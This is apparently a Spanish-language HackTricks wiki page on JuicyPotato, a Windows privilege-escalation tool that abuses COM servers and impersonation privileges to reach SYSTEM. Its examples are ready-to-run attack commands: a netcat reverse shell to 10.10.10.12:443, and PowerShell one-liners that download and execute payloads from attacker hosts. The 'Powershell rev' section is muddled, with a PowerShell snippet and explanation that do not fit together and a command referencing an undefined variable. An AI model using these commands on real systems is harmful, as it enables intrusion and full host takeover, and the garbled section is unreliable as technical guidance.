12 KiB
JuicyPotato
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Consigue el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
{% hint style="warning" %}
JuicyPotato no funciona en Windows Server 2019 y en Windows 10 build 1809 en adelante. Sin embargo, se pueden utilizar PrintSpoofer, RoguePotato, SharpEfsPotato para aprovechar los mismos privilegios y obtener acceso de nivel NT AUTHORITY\SYSTEM
. Compruébalo en:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (abusando de los privilegios dorados)
Una versión mejorada de RottenPotatoNG, con un poco de jugo, es decir, otra herramienta de escalada de privilegios locales, desde una cuenta de servicio de Windows hasta NT AUTHORITY\SYSTEM
Puedes descargar juicypotato desde https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Resumen
RottenPotatoNG y sus variantes aprovechan la cadena de escalada de privilegios basada en el servicio BITS
service teniendo el listener de MiTM en 127.0.0.1:6666
y cuando tienes los privilegios SeImpersonate
o SeAssignPrimaryToken
. Durante una revisión de construcción de Windows encontramos una configuración donde BITS
estaba desactivado intencionalmente y el puerto 6666
estaba ocupado.
Decidimos armar RottenPotatoNG: Dale la bienvenida a Juicy Potato.
Para la teoría, consulta Rotten Potato - Escalada de privilegios desde cuentas de servicio hasta SYSTEM y sigue la cadena de enlaces y referencias.
Descubrimos que, aparte de BITS
, hay varios servidores COM que podemos abusar. Solo necesitan:
- ser instanciables por el usuario actual, normalmente un "usuario de servicio" que tiene privilegios de suplantación
- implementar la interfaz
IMarshal
- ejecutarse como un usuario elevado (SYSTEM, Administrador, ...)
Después de algunas pruebas, obtuvimos y probamos una extensa lista de CLSID interesantes en varias versiones de Windows.
Detalles jugosos
JuicyPotato te permite:
- Objetivo CLSID elige cualquier CLSID que desees. Aquí puedes encontrar la lista organizada por SO.
- Puerto de escucha COM define el puerto de escucha COM que prefieras (en lugar del 6666 codificado en duro)
- Dirección IP de escucha COM vincula el servidor a cualquier IP
- Modo de creación de proceso dependiendo de los privilegios del usuario suplantado, puedes elegir entre:
CreateProcessWithToken
(necesitaSeImpersonate
)CreateProcessAsUser
(necesitaSeAssignPrimaryToken
)ambos
- Proceso a lanzar lanza un ejecutable o script si la explotación tiene éxito
- Argumento del proceso personaliza los argumentos del proceso lanzado
- Dirección del servidor RPC para un enfoque sigiloso, puedes autenticarte en un servidor RPC externo
- Puerto del servidor RPC útil si quieres autenticarte en un servidor externo y el firewall está bloqueando el puerto
135
... - Modo de PRUEBA principalmente para fines de prueba, es decir, para probar CLSID. Crea el DCOM e imprime el usuario del token. Ver aquí para las pruebas
Uso
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Reflexiones finales
Si el usuario tiene los privilegios SeImpersonate
o SeAssignPrimaryToken
, entonces eres SYSTEM.
Es casi imposible prevenir el abuso de todos estos servidores COM. Podrías pensar en modificar los permisos de estos objetos a través de DCOMCNFG
, pero buena suerte, esto será un desafío.
La solución real es proteger las cuentas y aplicaciones sensibles que se ejecutan bajo las cuentas * SERVICE
. Detener DCOM
ciertamente inhibiría esta explotación, pero podría tener un impacto grave en el sistema operativo subyacente.
De: http://ohpe.it/juicy-potato/
Ejemplos
Nota: Visita esta página para obtener una lista de CLSID para probar.
Obtener una shell inversa de nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
Descripción
Este método utiliza el comando powershell.exe
para ejecutar un script de PowerShell que crea un objeto COM y lo utiliza para lanzar un proceso con privilegios elevados.
Uso
-
Descargar el script
JuicyPotato.exe
en la máquina objetivo. -
Ejecutar el siguiente comando de PowerShell en la máquina atacante para crear un payload:
$CLSID='{4991D34B-80A1-4291-83B6-3328366B9097}' $server='localhost' $port=1337 $t = [type]::GetTypeFromCLSID(('{'+$CLSID+'}'), $server) $c = $t.InvokeMember('CreateInstance', 'InvokeMethod', $null, $null, $null) $c.Connect(($server + ':' + $port))
Este comando creará un objeto COM utilizando el CLSID de
Windows Management Instrumentation
(WMI) y lo conectará al servidor y puerto especificados. Asegúrese de cambiar el valor de$server
y$port
según sea necesario. -
Ejecutar el siguiente comando de PowerShell en la máquina objetivo para lanzar un proceso con privilegios elevados:
powershell.exe -c "IEX (New-Object Net.WebClient).DownloadString('http://<attacker_ip>:<attacker_port>/JuicyPotato.exe'); .\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -a '/c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c $c'"
Este comando descargará el archivo
JuicyPotato.exe
del atacante y lo ejecutará con los argumentos especificados. Asegúrese de cambiar<attacker_ip>
y<attacker_port>
según sea necesario.
Notas
- Este método solo funciona en sistemas operativos Windows.
- Este método solo funciona si el usuario actual tiene permisos para crear objetos COM.
- Este método solo funciona si el usuario actual tiene permisos para lanzar el proceso especificado.
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Ejecutar un nuevo CMD (si tienes acceso RDP)
Problemas con CLSID
A menudo, el CLSID predeterminado que utiliza JuicyPotato no funciona y el exploit falla. Por lo general, se necesitan varios intentos para encontrar un CLSID que funcione. Para obtener una lista de CLSID para probar en un sistema operativo específico, debe visitar esta página:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Comprobación de CLSID
En primer lugar, necesitará algunos ejecutables aparte de juicypotato.exe.
Descargue Join-Object.ps1 y cárguelo en su sesión de PS, y descargue y ejecute GetCLSID.ps1. Ese script creará una lista de posibles CLSID para probar.
Luego descargue test_clsid.bat (cambie la ruta a la lista de CLSID y al ejecutable de juicypotato) y ejecútelo. Comenzará a probar cada CLSID, y cuando cambie el número de puerto, significará que el CLSID funcionó.
Compruebe los CLSID que funcionan usando el parámetro -c.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección de exclusivos NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.